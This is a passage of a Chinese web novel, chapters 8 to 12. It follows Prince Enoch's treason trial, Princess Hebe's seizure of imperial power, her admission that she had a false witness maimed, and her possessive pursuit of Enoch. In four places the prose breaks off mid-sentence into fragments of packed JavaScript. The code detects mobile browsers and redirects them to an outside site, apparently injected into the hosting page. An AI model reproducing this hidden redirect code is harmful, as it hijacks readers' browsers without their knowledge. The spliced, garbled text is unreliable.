最后一位传讯上来的证人是泽维尔,以诺在战场上拼死救出来的omega小兵。 泽维尔第一次面对这样的大场面,紧张得满面通红,带着哭腔指控:“当时,我在迫降时被困在着火的战机里逃不出来,以诺上将回来救了我,但是,我在昏迷时听见他跟敌方将领对话,给对方透露了很多我军的机密……” 一直很平静的以诺在看见泽维尔进来时瞬间双眼通红,听了他的话,睁着薄红的眼皮眼泪簇簇落下,像被玫瑰尖刺穿破心脏的夜莺,在暗夜里无声啼血。 8. 第 8 章 审讯结束,所有媒体都希望能够堵截到以诺,做一个独家采访,他却在保镖的保护下从后门悄然离开,上了一架早就等候在那儿的飞船。 媒体涌向采访尤利斯,把正门和大堂围得水泄不通,尤利斯声如洪钟地骂人,“那个叫梅根的律师我记住了,敢诽谤我,她就等死吧,我绝不会放过她!” 等人都走光了,梅根踩着职业范的细高跟回到会场,端来一杯热咖啡,给角落里坐着的赫柏。 “真的非常感谢您给我这个机会,接下来还有几场审讯,我一定会用尽全力,不让您失望。”梅根坐在矮一排的座椅中,回身仰望赫柏殿下,在这次公审前,她只能围绕着琐碎的离婚官司、民事纠纷打转,从来没想过自己能够在最高军事法庭,和荣誉等身的控方律师肖恩对垒。 她很清楚,是赫柏殿下选择了她,那些珍贵的证据都是殿下递交给她的,换了任何一位律师,都能够在这会场里慷慨陈词。 面对她的热情,小殿下兴趣缺缺,“嗯”了声当作回应,她边喝咖啡边目光扫向光脑投影的星网画面,梅根看见她在翻阅“泽维尔”的资料。 泽维尔,不是刚才最后上来的证人,那位omega小兵吗? “你做得很好,梅根。” 赫柏收起光脑,抿去唇上的咖啡渍,对她微笑,黑发垂在脸颊边,精致挺翘的鼻梁上挂着墨镜,素白的一张脸显得乖巧淑女,很像一位下了课来旁听审讯的女大学生。 梅根张口忘言,如果不是深深知道赫柏殿下的手段,真的会被她这副皮相骗过去。 “该死的,你到底想做什么?赫柏,你会扰乱整个莱茵敌国!” “你想要以诺吗?等他进了监狱,我立即派人把他送给你,到时候你爱对他做什么都可以,把他当作禁.脔,怎么对他都可以,那样不好吗?” “现在收手吧,不要再揪着尤利斯叔叔和埃利森财团的事,那样对谁都好,牺牲一个已经是废人的omega,对整个帝国,是最好的选择。” 回城堡的飞船上,赫柏听完便宜叔叔安帕的留言,面不改色按掉,急打方向盘,从去医院的路上转了个方向,回城堡。 刚降落在草坪上就有侍从上前:“公主殿下,皇帝陛下请您立即去见他。” 皇帝安东尼奥一百多岁了,年老体衰,除了每月一次的内阁会议,其他时候都在寝殿修养。 萦绕着苦药的气味,古朴精致,雕梁画栋的装饰,处处透露着颓靡至极的衰败之气。 赫柏跪在床边,望向垂落的纱帐一角,恭顺平和地微垂着头颅。 “咳咳,赫柏,今天的帝国公审,是你在背后捣鬼吧。”皇帝老迈沙哑的声音从帐内传出,新年后他陆陆续续生了几场病,着急着把权力交给私生子安帕,没想到赫柏这丫头,本事不小,在今日闹得人仰马翻。 皇帝当然不会认为赫柏真心帮助以诺,以为她横插一脚,只是为了借这件事夺权。 “爷爷,好好休息,外面的事,有小辈们去处理。”赫柏沉静地说。 “咳咳咳——”皇帝咳得面色涨红,不停喘粗气,浑浊的眼珠子盯着赫柏,觉得跪在床边的黑发少女是那样陌生,她有一半的东方血统,长得一点也不像皇室血脉,而且,她克死她的父亲,他最满意的儿子罗伊。 “早知今日,当日你出生时,我就会把你举起来摔死。” 皇帝陛下习惯了赫柏在手底下卑躬屈膝的无害模样,对她还是一贯的轻蔑。这样一个小丫头,即便有点本事,又能翻出多高的风浪来,安顿好她就是,“你不甘心做傀儡,我会给你一定的权力,让你做个闲散的亲王,那是最好的,其余的,你不要妄想了。” “是吗?” 赫柏的眼睛,像雾气弥漫,不见天日的密林,迷雾中少女戴着枷锁在沉重地跳舞,风声里融进诡异的颂歌,一舞作罢,她把灵魂深处燃烧的火焰收进双目之中,直视面前年老的帝王。 “可是,我是名正言顺的储君,未来的皇帝。” “你……咳咳咳,你想做皇帝!” “我当然想做皇帝,我本来就应该是皇帝。”赫柏不再跪着,拖着来时换过的贵族礼服,去鎏金架子旁触碰那根帝王权杖,毫不掩饰贪恋的欣赏,周遭的仆人低垂脑袋,无人敢置喙她的言行。 “你,你怎么敢的!你这个贱人,我要废了你,我一定杀了你。” “您废不了,也杀不了我,尊敬的皇帝陛下,当年塞克姑姑请来祖母的妹妹卡莎亲王坐镇,迫使您在朝会中立誓,日后的皇帝,只能在祖母海伦的后嗣中产生,塞克姑姑死后,就只有我,能做皇帝。”赫柏感谢海伦祖母的家族极为煊赫,几个守节的大臣仍是中流砥柱,让皇帝这么多年不敢轻易废了她,直到她拥有自己的力量。 她轻轻移动裙摆,回身看向只剩一口气的老皇帝,闲适微笑,“保重身体吧,爷爷,撑到和您的私生子一起死去那天,上路好有个伴儿。” 以诺被送到一栋陌生的别墅里,所有医护人员,医疗设备一应俱全,却又是几天没见过赫柏。赫柏没再为他屏蔽外界的消息,是他自己不愿意看了,摘了随身通讯设备,每天做非常疼痛的康复训练,以及在小花园里散步。 他隐约知道,这栋别墅的周围,有着帝国最强悍的守卫力量,任何靠近的动物都会立即被射杀。 他能看到的只有澄蓝的天空,有天在户外多待了半个小时,第二天,有人送来一只金尾雀儿,关在笼子里唧唧咋咋叫个没完。 亚瑟兴致勃勃给小雀喂食:“殿下说您应当觉得烦闷,但是请您谅解,熬过这段时日变好了,这是送来给您解闷,它会学您说话。” 以诺知道亚瑟和赫柏一直在联系,“殿下一切都好么?” “殿下很好,她一直记挂着您,知道您积极进行康复训练,身体逐渐好转,她很开心,请您不必担心她,她会处理好一切。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078904|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 亚瑟知道以诺在赫柏心中的地位,对待他多了几分尊敬,赫柏殿下很好,埃利森集团就惨了,濒临倒闭,她还在内阁联合几个老臣,逼迫尤利斯退位,软性囚禁了皇帝陛下,可以说是大权在握。 下次开庭只是走个过场,以诺亲王一定会无罪释放。 全帝国的臣民都知道,赫柏殿下会成为皇帝,亚瑟想起那张总是对他温柔微笑的脸,忍不住奢想,如果能够在殿下的后宫占据一个位置就好了,没有名分也可以,只要她允许他,陪伴在她的身边,他无怨无悔。 以诺则是自责,既然一切都好,为什么不来见他,如果不是因为他,赫柏不必与皇帝和尤利斯等人为敌,他很怕自己带来太多麻烦,让赫柏深感疲惫,却出于内心的道德和对长辈的敬重,无法抛下他这个重担。 以诺陷入冗长的沉默之中,身旁的年轻使臣难以体察他细微的情绪转换,欢快地逗小雀说话。 花园里,以诺没有惊扰医护人员,拄着拐杖努力地行走,每一步都很痛,他发了满背冷汗,不得不走几步便停下,握紧拐杖,闭眼咬牙缓过一阵剧烈的痛楚。 但他想要快点好起来,不能辜负赫柏的好心,也不必,让这些人大张旗鼓地伺候着,他过意不去。 再走一步,脚上脱力,他重重摔在地上,双手撑地,瘦削的脊背伶仃发抖,没办法再站起来。 一双手揽过他的腰身,春日湖水一样暖洋洋的气息拥上来,围拢他全身,以诺抬起溢满生理性泪水的眼睛,见到一张沉静少女的面孔。 赫柏低眉顺目,把他扶起来,确保他不会再摔,很守规矩地推开半步,一手始终在他的腰后护着,提防他再摔跤。 她扬起乌黑的眉毛眼睛,整张脸便鲜亮了起来,红唇勾起轻笑:“亲王殿下,您这一摔,把我吓得,心脏都要从嗓子眼里跳出来了,觉得您真像个漂亮的瓷偶,一摔便成了一堆碎瓷,让我想想,要怎么粘起来呢。” 以诺看着她没说话,长睫挂着晶莹的泪珠,是刚刚摔跤时痛出来的,狭长的眼尾坠着两片殷红。 赫柏咬咬舌尖讪笑,“抱歉,殿下,我开了个不对的玩笑,您别放在心上,我先陪您进去,找医生查看情况,好吗?” 她开了什么玩笑吗?以诺的脑袋因为疼痛而有些迟钝,他只是在回想,她扶他起来的时候带来密密匝匝的暖意,但是那太短暂了,随着她的离开,寒冷的空气又侵袭了他全身,冷的刺骨。 赫柏歪了歪头,盯着以诺出神也非常好看的脸看了会儿,吸吸鼻子,“您怎么走到风口来了,真的很冷,那,我先扶您进去吧。” 不等他回答,赫柏用手环住他的腰身,缓步往前走,一手状似无意地捏了把骨节分明的手腕,停顿两秒,感受细腻冷玉一样的触感。 “您的手也太冷了,真的不可以,若是冻病了便麻烦了,日后您要是想下来散步,一定要找人陪同才是。”她放开他的手腕,正义凛然地说。 9. 第 9 章 赫柏虽然是早产儿,却生了一副气血丰盈,黑发红唇白齿的样貌,站在那儿就是一副浓墨重彩的风景画。 久病的人,总是希望常常推开窗户,看看太阳。 “殿下,您在为那个小兵悲伤吗?您为什么是这副神色,他那样的人,根本就不值得可怜。” 以诺在康复仪器上慢慢行走,没有血色的嘴唇抿得很红,在赫柏说完那个叫泽维尔的小兵出了车祸失去双腿时,没什么反应,目光只看着仪器上跳跃的数字。 他怎么可以不理她? 即便是在星际法庭上被人审判,他出于礼仪,也不会在他人说话时心不在焉,唯一的可能,他生气了。 赫柏的心里莫名涌起一股戾气,他一定是猜到了吧,是她做的,她总是用很多卑劣的手段,争权夺利,铲除异己,暴露在他面前,一定会让他厌恶至极。 她来到以诺面前挡住窗外的阳光,对上那双带着诧异的琉璃眼瞳,立刻委屈得想哭。 “他背叛了您,不是吗?为了钱财,诬陷您背叛帝国,死一万次也不能赎罪,我只是让他断了双腿,让他感受到您的痛苦,我做错了吗?” 以诺听完这番剖白,面色逐渐凝重,按停仪器:“你的意思是说,你弄断了泽维尔的双腿?” 赫柏恍然发现自己暴露了事实真相,原来,以诺根本没往这儿猜,她垂眼流泪承认:“是我做的,您责怪我吗?” “赫柏,这样不好。”以诺站不了太久,手刚抬起来,赫柏已经为他拿来拐杖,双眼发红,看着乖巧又可怜。 以诺拄着拐杖慢慢走回座椅,“泽维尔的家境很贫穷,也许他是为了钱财,才站出来指控我,总归他不能带给我更多的实质伤害,如果这样做能让他改善生活,未尝不好,再者,他做的不对,还有帝国的审判程序来给他定罪,你不该动用私刑。” 赫柏却站在仪器旁不动,背对日光站在阴影里。 神情倔强地流泪:“我没错,我看不得有人那样对待您,没有实质伤害也不行!我想直接杀了他,留他一条贱命,已经是看在他和您从前有交情的份上。 她是为了他才做恶事,但她这样理直气壮,毫不悔改的态度,让以诺却从心底泛起一股冷寒。 赫柏从来不是什么温室花朵,她是在丛林法则的皇室厮杀出来的小狼,为了保护自己平安长大,她早已习惯了这样的行事法则。 僵持了几分钟,以诺轻叹着说:“过来吧,别站在风口了。” 赫柏过来跪在他脚边,腰背挺直,双目曈曈地直视他的脸,尖尖的下巴却带着泪痕。 以诺看向赫柏,跪在那儿认罚,却鼓着双颊撇开眼睛,明显不服气的模样,总会一个晃神,觉得她还是十多年前的小团子。 他蜷了蜷手指,抑制想为她擦泪的冲动,“我想给泽维尔送去一些钱,让他以后可以好好生活,你答应我,不要再去找他的麻烦,这事就过去了。” “我要把他逮到您面前,让他亲自磕头赔罪……” “赫柏。” 赫柏的睫毛短而浓密,沾满湿润的眼泪,每次眨眼都非常缓慢,显得异常执拗认真,“我答应您,再也不做这样的事情,但是”,她的腰身塌下,在以诺细微的战栗中,迟缓但坚定地,把额头贴向他的膝盖,“请您一定要原谅我。” 这是伏膝礼,莱茵帝国最高规格的礼仪,下位者跪在上位者的脚边,用额头轻贴他膝盖,表示至高无上的驯服和遵从。 她是储君,按规矩不该对任何人伏膝,连皇帝也不行,以诺感受到膝盖上的重量,忘却所有情绪,只剩下浓浓的不安,“赫柏,你起来吧,我没有责怪你。” “那您就是不会再原谅我了,您那样光风霁月,从心底里介意我的狠毒,却碍于我是储君,您现在只能活在我的庇护之下,所以违心地说出不会责怪我的话!” 赫柏带着哭腔的声音拔高,从未有过的情绪激动,让以诺震惊地掐住手心,良久,拍拍女孩的肩膀。 到底为什么呢,他只是一个无关紧要,不能给她带来什么助力的亲王,一度被战友和亲人抛弃,她为什么,这样在意他。 赫柏握住他的手,濡湿的脸颊在他的掌心里轻蹭。 以诺想她也许需要长辈的抚慰。他想到从前的塞克,对他放下狠话“我绝不会娶你”,眼下却有未干的泪痕,和重度沉迷烟酒带来的萎靡颓恹,他当时觉得她很可怜。 赫柏和塞克不同,她没有痛苦地逃避,而是以勇者的姿态直面这个她不喜欢的世界,利用规则,掌握话语权,可她们本质上,都背离了家族、祖训,轰轰烈烈地离经叛道,内心深处一定很空虚。 而他是一位还算正面的长辈,所以赫柏把所有的敬畏转移到他身上,表现出过分的谦卑。 如果塞克当年有一位合适的长辈引导,也许不会走向毁灭。 “赫柏,你不必这样害怕,我说过,我会永远站在你身边的……” “皇爷爷已经和我彻底决裂,他说,他很后悔,没有在我出生时就把我举起来摔死,谁都不喜欢我,我只有您了啊,您绝对不能离开我……” 赫柏抱住他的小腿,以诺的腿在术后恢复了一些知觉,非常敏.感,清晰地感知到女孩温热的双手落在那儿,带来难以忽视的痛和痒。 “赫柏,松手。”他无法挪动双腿,被女孩牢牢桎梏着,喉间滚出一丝痛苦的呻.吟,声音颤抖,“你弄疼我了。” 赫柏松了力度,下巴蹭着他的膝盖,抬起无辜的眼睛。 “不会的,赫柏,你别怕。”以诺温柔地解释,“我已经无处可去了,家族,军队,都不再是我的容身之所,我依赖你的供养活着,所以,我不会,也不能离开你,你无需害怕。” “可是,我要您的心和我是一起的,永远不要有嫌隙,我不要您讨厌我,不要您和那些人一样,当面一套,背后又是一套,我不想要您变成那样。” 以诺沉默了会儿,在想他要如何做出更多的承诺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078905|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他要怎么告诉赫柏,他苦恼于自己对她的过分依赖,在她不来看他的日子总是经常想起她,等她到了面前,会不由地被她吸引目光,看见她微笑着对他说话,会让他心情很好。 他想那样不对的,是不应该的,赫柏早晚有天会不再关注他,到那时,他需要依靠自己,怡然自得地活着。 他安慰女孩说:“我向你承诺,不会变成那样,在你仍然愿意看向我的时候,我会始终如一,如果我认为你做的不对,一定会告诉你。” “这可是您说的。” “是我说的。”以诺闭上眼,声音像一张绷紧的弦,“你先回去吧,赫柏,今日多谢你来看我,我会好好进行康复训练,不会辜负你的好意。” 赫柏放开他的小腿,他轻轻挪开,是一个微弱抗拒的姿态。 “那,亲王殿下,我走了。”赫柏行礼告退。 离开房间时亚瑟迎上来:“殿下,您与亲王发生了争执么?怎么哭了?” 听说公主殿下来了,亚瑟换了件衣裳,在房门外等待了半个小时才见她出来,却是一副狠狠哭过的模样。 赫柏看着他:“亚瑟,你有时间吗?能不能陪我下去走走?” 以诺的康复仪器正对窗边,他在仪器上行走时,一定会看向花园步道,赫柏和亚瑟并肩走在步道上,问:“以诺亲王最近晚上睡得好吗?” 亚瑟奇怪,以诺亲王每天的作息情况,医护人员都会禀告她,他也会常常反馈亲王的情况,赫柏殿下不可能不知道,他还是如实回答了一遍:“殿下很好,他积极进行康复训练,刚结束审讯那两天睡得不好,会主动找医生询问情况,更改训练强度和药方,现在已经能一觉睡到天亮。” 说到这儿他有点佩服以诺亲王,本质上他真的是个非常坚韧的人,经历了那么多诬陷和背叛,差点被送进监狱,却迅速调整了心态,用尽全力好好活着,这种溪流般纤弱却不息的生命力让人震撼。 “亚瑟,感谢你为以诺亲王的付出,你知道的,我真的非常担心他的情况,医护人员不会近身侍奉,难免有不够周到的地方,真的辛苦你了。”赫柏忽然停下脚步,在以诺的窗边,含笑望向身旁的年轻侍臣。 亚瑟脸红垂头,结巴着说:“没,没有,殿下,这是应该的,我很荣幸能成为亲王的侍臣。” 察觉轻柔的视线从窗边投来,赫柏往前一步,展臂抱住亚瑟。 “谢谢你。” 这动作可以解释为一个感激的拥抱,不算太过分,但赫柏的神色实在太温柔,离开后,握住亚瑟的手臂,目光长久地停留在他脸上,亚瑟激动得浑身战栗,说不出一句完整的话。 “殿下……我,我……” “我知道,你不求回报,但我还是要感谢你。” 黑发少女和红发少年,一个大方浅笑,一个腼腆脸红,在春意盎然的户外,构成一副极好看的画面,一楼房间的薄纱窗帘却轻轻放下,风中浮荡着,划出一道孤寂冷清的结界。 10. 第 10 章 “赫柏殿下,赫柏殿下。”金雀在笼子里一个劲儿叫唤赫柏的名字,以诺没法忽略,也没办法让亚瑟安静一些,因为他的心情很好。 “赫柏殿下说她午后要过来,亲王殿下,您觉得我穿哪件衣服比较好?” 以诺建议他选了其中一件,看着他蹦蹦跳跳地去换上,觉得自己的心境也年轻了很多。 喜欢一个人,是什么感觉呢?他从无数的文学作品中领略过,所谓爱情的感受,映照在自己身上,都觉得太过虚无缥缈了。 他想自己是个无聊透顶的人,无法理解书本白纸黑字以外的任何知识,而且他不认为自己需要爱情,从小他就是那种可以花费一个一整个黄昏,看着太阳慢慢下山的小孩,无论是天边的蜻蜓,还是地上的萤草,都让他心情愉悦。 “也许爱情是人们用来填补空虚的一样事物,你的内心非常丰盈,自己就可以过得很好,”妹妹安妮塔准备偷溜出家门,和她的第五任男友约会,为了不让爸妈发现占据了他的房间化妆,留下一堆刺鼻气味的化妆棉,“不过怎么说呢,你爱这世上的每一个人,就证明你其实不爱任何人,你只是享受这种无条件付出的感受,亲爱的哥哥。” “赫柏姐姐,以诺亲王住在这里吗?”一道稚嫩的男声的门外响起,房门被敲响,以诺说“进来”,赫柏推开房门。 身后跟着一个青涩的少年,顶着一头柔顺的金发,淡绿的眼睛不停打量他。 是加里南帝国派来求和的omega皇子,路易斯。 路易斯得到赫柏的授意,跪在以诺面前愧疚地哭泣道歉:“对不起,以诺亲王,父皇已经承认了,他和尤利斯达成交易,伪造书信诬陷您叛国,其实您是一位大英雄,即便在加里南帝国,也有很多军官和士兵在心中深深钦佩着您。” 听说路易斯皇子在加里南帝国深受宠爱,单纯正义,所以在之前出庭指正以诺时格外义愤填膺,以诺叫他起来,“没关系的,既然是误会,解释清楚便好,皇子能够来到莱茵帝国,有利于两个帝国消弭仇恨,达成交往,从此不再有战火纷争,是一件很好的事。” 路易斯这才站起来,像鹌鹑一样躲在赫柏身后。 “赫柏殿下,您来了!”亚瑟进入房中,看见那位敌国皇子离赫柏那样近,亲密地扯着她的袖子,顿时皱眉。 “赫柏姐姐,他是谁?”路易斯从赫柏的手臂旁探出个脑袋,望向来者不善的红发少年。 路易斯远不像表面上那么单纯,他知道父皇和尤利斯联盟破裂的那天,他就已经成了弃子,必须自己努力活下去。没有比赫柏殿下更好的人选了,他一直粘着赫柏公主,对她装可怜,向她求助,正直敦厚的殿下果然吃这套。 面对眼前快被气哭的红发少年,他有种见到同类的感觉,和他一样,都是靠谄媚争宠活下来的omega,他心里顿时敲响警钟。 “路易斯,这是亚瑟,以诺亲王的侍臣,你们一起出去玩吧,我陪以诺亲王用餐。”赫柏拍拍路易斯的肩膀。 两个omega男孩不太情愿地结伴走了,赫柏关上房门,在以诺对面落座。 “亲王殿下,您为何这样看着我?” “我想,你不应该和他们同时举止亲近,会伤害他们两人的感情。”以诺语气淡然地给予建议。 赫柏想从以诺的脸上看到更多情绪,但是没有,他一派光风霁月,只是出于长辈的立场,劝她不要胡闹。 赫柏暗自磨了磨爪子。 “我的举止,有什么不对的地方吗,我把他们都当作朋友,同样地给予理解和宽慰,难道会让他们不开心吗?” 以诺点到为止地提醒:“赫柏,你是一位alpha。” “我是alpha,所以呢?”赫柏大方敞亮,并未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078906|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得自己的行为有任何不妥,以诺不适应这样的场面,垂眼隔绝她直白赤.裸的目光,声音滞涩,“alpha,应该检点自己的言行,omega是生理和心理都更加脆弱,需要好好保护的人群。” “生理和心理都更脆弱吗?”赫柏点点下巴,若有所思地说,“亲王殿下,抱歉,我想,我对于omega这个性别的了解实在太匮乏,也缺乏实操经验,我想,您也是一位omega,冒昧地问一句,您当年被塞克姑姑抛弃时,曾经感到心碎欲裂吗?” 像是无数根针刺向以诺的脊背,罪魁祸首,却端坐在椅子上,双手交叠眉眼认真,一副虚心求教的姿态。 “还有,我真的很想知道,omega情热期会是什么样子,书本上说,完全丧失理智,变成一头求欢的野兽,抛弃理智和羞耻,渴求alpha的信息素,呵,很难想象在您变成那样呢。”赫柏展露一个无比天真的笑意,“塞克姑姑,她见过吗?虽然你们没有完成婚礼,但是,订婚之后,您便从庄园来到皇宫,姑姑当年花名在外,不能放着您这样一个大美人在身边,而无动于衷吧。” “赫柏!”以诺带上浅怒,“你不要再说了。” “抱歉!亲王殿下,”赫柏咬唇,换上满脸委屈,“您答应过我,和我不会有任何嫌隙,所以,我也斗胆把您当作最亲密的师长和朋友,想来都是奢望吧,身为储君,本来就是高处不胜寒,我怎么敢奢求,有您在身边,时常规劝教导,那样好的事,从来就落不到我头上。” 以诺分不出她是真心还是假意,头疼地解释:“我没有要和你生分的意思,只是,你方才的话,对任何一个omega,都是不合宜的,更不应该对着长辈说出。” 他的耳根红透了,白皙的脸颊也漫上浅红,长长的睫毛颤动着,眼底浮动润泽水光,一向持重的人难得有这么生动的表情,羞涩且诱人。 11. 第 11 章 在以诺非常难堪时,赫柏及时给予体谅,不再咄咄逼人:“我想,是我错了,错得离谱,不应该对您说这些话,但您知道的,我从小就失去了omega母亲,这么多年,一直都是自己一个人,所以,我是真的不明白,若是冒犯了您,求您原谅。” “您会原谅我的吧?” 以诺仍然面红耳赤,双目游离地低着头,赫柏来到他身旁,跪下,目光如有实质,一寸寸掠过他的病腿,肌肉萎缩的双腿,因为手术后静养和锻炼,长出一些柔韧好看的肌肉线条,他一天天好起来,像被擦亮的明珠。 他太有神性,会让人觉得,肖想这副身体是在犯罪,但赫柏梦见过很多次,他的双腿是如何白的发光,如何挂在人的腰间,像柔软而有力的藤蔓,随着那人的动作晃动。 好想亲眼看看那副画面,这个念头愈演愈烈,快要无法遏制。 她等不及了,等不及,等他慢慢软化,她要用锤子撬开他的蚌壳,要他全副身心,都被她占有。 女孩长久地垂着脑袋,在以诺以为她在偷偷哭泣于心不忍时,她忽然抬眼,还是乖巧的微笑,黑瞳里装满的他的倒影,却多了些不太和谐的意味。 他不知道那是浓重到化不开的占有欲,身为omega,逃命的本能使然,以诺立刻侧过脸,避开过分灼热的视线,“当然,我原谅,原谅你,赫柏,你快起来。” 赫柏瞬间收敛了所有攻击性,像弱小无害的幼兽,伏倒在高阶野兽的脚边,盘腿而坐,无比依赖地用鬓发轻蹭他的膝盖。 “太好了,我就知道,您一定会原谅我的,除了您以外,没有人,会这样纵容我,无论我犯了什么过错,都原谅我。”在亚瑟和路易斯面前举止庄重的赫柏殿下,垂着头,抓住以诺衣角的系带,孩子气地握紧松开,在手心里绕了几圈。 窗前悬挂的那只金尾雀,原本一只唧唧咋咋地乱叫,自从赫柏来了,就缩起羽翼躲在笼子里,再不敢放肆。 以诺的心像被垂柳搅动的一池春水,层层涟漪难以平复,赫柏对他的言行实在是过分到,他很难再用各种理由为她开脱,她只是个孩子,她只是缺乏安全感,她只是把他当成长辈。 他默默地期望,她本性有些贪玩,对亚瑟,对路易斯,还有对他,是一样的,说那些恶劣的话,是想看他语塞脸红的样子。 过了这段时间就好了。 下一次开庭的时间是五月,已经完全进入春天,以诺按部就班地完成所有康复训练,能够拄着拐杖站立几个小时,他坚定地要求自己走进会场,站着完成所有答辩。 时隔三个月,境况大不相同,没有人再用审视的目光看向他,在帝国臣民的眼里,他是一位真正的大英雄。 “以诺上校,尤利斯和埃利森集团的负责人尼克已经被联邦立案调查,限制人生自由和一切财产转移,对于他们的蓄意陷害,您有什么想说的吗?” “军营里,以文森上将为首的数千名从前与您一起工作过的士兵联名上书,为您的人品作担保,您会如何回应?” “最新消息,加里南帝国的皇帝收了尤利斯的好处,参与诬陷您通敌一事,不日将正式公开给您的道歉信,您觉得这对两国日后的交往会有什么影响?” 万众瞩目之中,以诺再次站在被告席上,这次他撤掉拐杖,努力站着,向众人阐述了自己参军的信念,绝不可能叛国的决心,清泉似的声音在会场上缓缓流淌,净化每个听众的心灵。 他的脸被超高清镜头记录,转播到千家万户的电视机上,是无论怎么放大都没有任何瑕疵的白瓷般的皮肤,一举一动美得让人屏息。 “经过医生评估,我的身体状况,不适宜再回到军队,”三个小时的审讯结束后,以诺累得面唇泛白,仍是耐心回答记者的问题,“以后我可能会作为特邀指导,参与新的机甲兵团建设,或者加入研究所,研究最新机甲技术,如果尽我所能,为帝国的发展略尽绵力,对我来说,是莫大的幸运。” 所有人都被他的话打动。 会场外掀起一阵冷风,黑发白肤的赫柏公主经过之处,人群自发让出一条通道,她闯进记者中央,毫不避讳毫不避讳地握住以诺亲王的手臂。 “请让开,亲王已经十分疲惫,让他下去休息,以后会举办专门的发布会回答各位的问题。” 赫柏出声后,原本闹哄哄的记者们纷纷闭嘴,大气不敢出,自发让出一条通道。 赫柏挽住以诺,配合他使用拐杖的动作,从容走向飞船。 周遭记者压着眉毛面面相觑,碍于公主殿下这些天在帝国内外积攒的威望,没人敢直接投去探寻的目光。 以诺感到非常怪异,“赫柏,你松开我。” 赫柏站定看向他,松了手劲,以诺骤然脱力向前栽倒,被她揽住腰身。 周围一片倒吸凉气的声音。 赫柏扶他站好,灼热的手掌隔着一层薄薄的衣衫贴在他背上:“您刚刚才站了三个小时,一定疲惫不堪,让我扶您走吧,好不好?” 她的强势不加掩饰,又好像本该如此,这次出门,从众人的态度中以诺逐渐意识到,她在外人面前,是杀伐决断,说一不二的储君。 他从来没有和异性这么亲密的接触,而且是在大庭广众之下。 心脏在胸腔里沉重地跳动,擂鼓一般,快要击裂耳膜,让他完全听不到周遭的任何声音,全部注意力落在身边的女孩身上。 她没有散发一点alpha信息素,但以诺觉得自己快要坏掉了,自从受伤瘫痪,因为数次全麻手术而一直延后的情热期好像要来了。 通往飞船的路程不长,在以诺完全失态之前赫柏放开他,他的眼尾浮现绯红,精致的鼻尖浮现点点薄汗,双眼似被温泉水洗过,坐进飞船里,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你在说什么?我怎么可能答应,她求娶我,证明了她和尤利斯的计划没有任何关系,不是吗?”以诺前所未有的生气,“你说过,叫我不要对你有所隐瞒,如果你要伤害莉莉丝,我会对你非常失望。” 飞船急速降落,一阵颠簸,让以诺的目光从窗外的云层移回赫柏操作方向盘的手上,心跳失据,不由攥紧赫柏亲手为他系上的安全带。 赫柏紧紧抿唇,良久一声轻笑,“对不起,我又让您生气了。” “放了莉莉丝,不要迁怒无辜的人。” “以诺亲王,好好修养吧,两个月后是我的登基典礼,您要见证这个对我非常重要的时刻。”赫柏不置可否,卸下安全带,打开舱门,将以诺独自留在飞船里。 十分钟后以诺才等到来接他的亚瑟。 12. 第 12 章 经过以诺亲王平反一事,赫柏殿下完全执掌军政大权,成为民心所向,迫使皇帝安东尼奥定下六月二十九号国庆日禅位。 路易斯等待与旁人议事的赫柏,看着赫柏公主在马场上熟练策马飞驰的身影,马场四周,是满满的绿植,他想到加里南帝国的很多地方是漫天黄沙,如果从此能在这个国家生活,真的很好。 “路易斯,你等很久了么?” 赫柏一身骑装,边朝他走来边把帽子摘下,递给随从,“谢谢”,她的头发剪成及肩的长度,面颊红润,双眼水洗过一般明亮。 “也,没有很久,就一小会儿。”路易斯不敢直视她的双眼。 “久等了,我们一起去监狱里见尤利斯大人吧。” “好,好的。” 路易斯偷看赫柏殿下的侧脸,她无论对谁都温和有礼,他却觉得,她对自己是十分不同的。就像这次,他给她发信息说因为参与了诬陷以诺亲王叛国的事,内心不安,一些媒体联系他,他不知道接受采访应该怎么解释,殿下马上回复,请罪魁祸首尤利斯写一封认罪信,表示一切与他无关。 赫柏殿下那样尊敬以诺亲王,可是,他被父皇和尤利斯当枪使,站出来指控以诺亲王,殿下却原谅了他,还想办法帮他脱罪…… 他相信她对他微笑时,一定是真心实意的,他的父皇,有很多位妃子,各种性别,男女不忌,他从小就深谙人性,从来没有人像赫柏公主一样真心对他好。 “尤利斯大人,好久不见。” 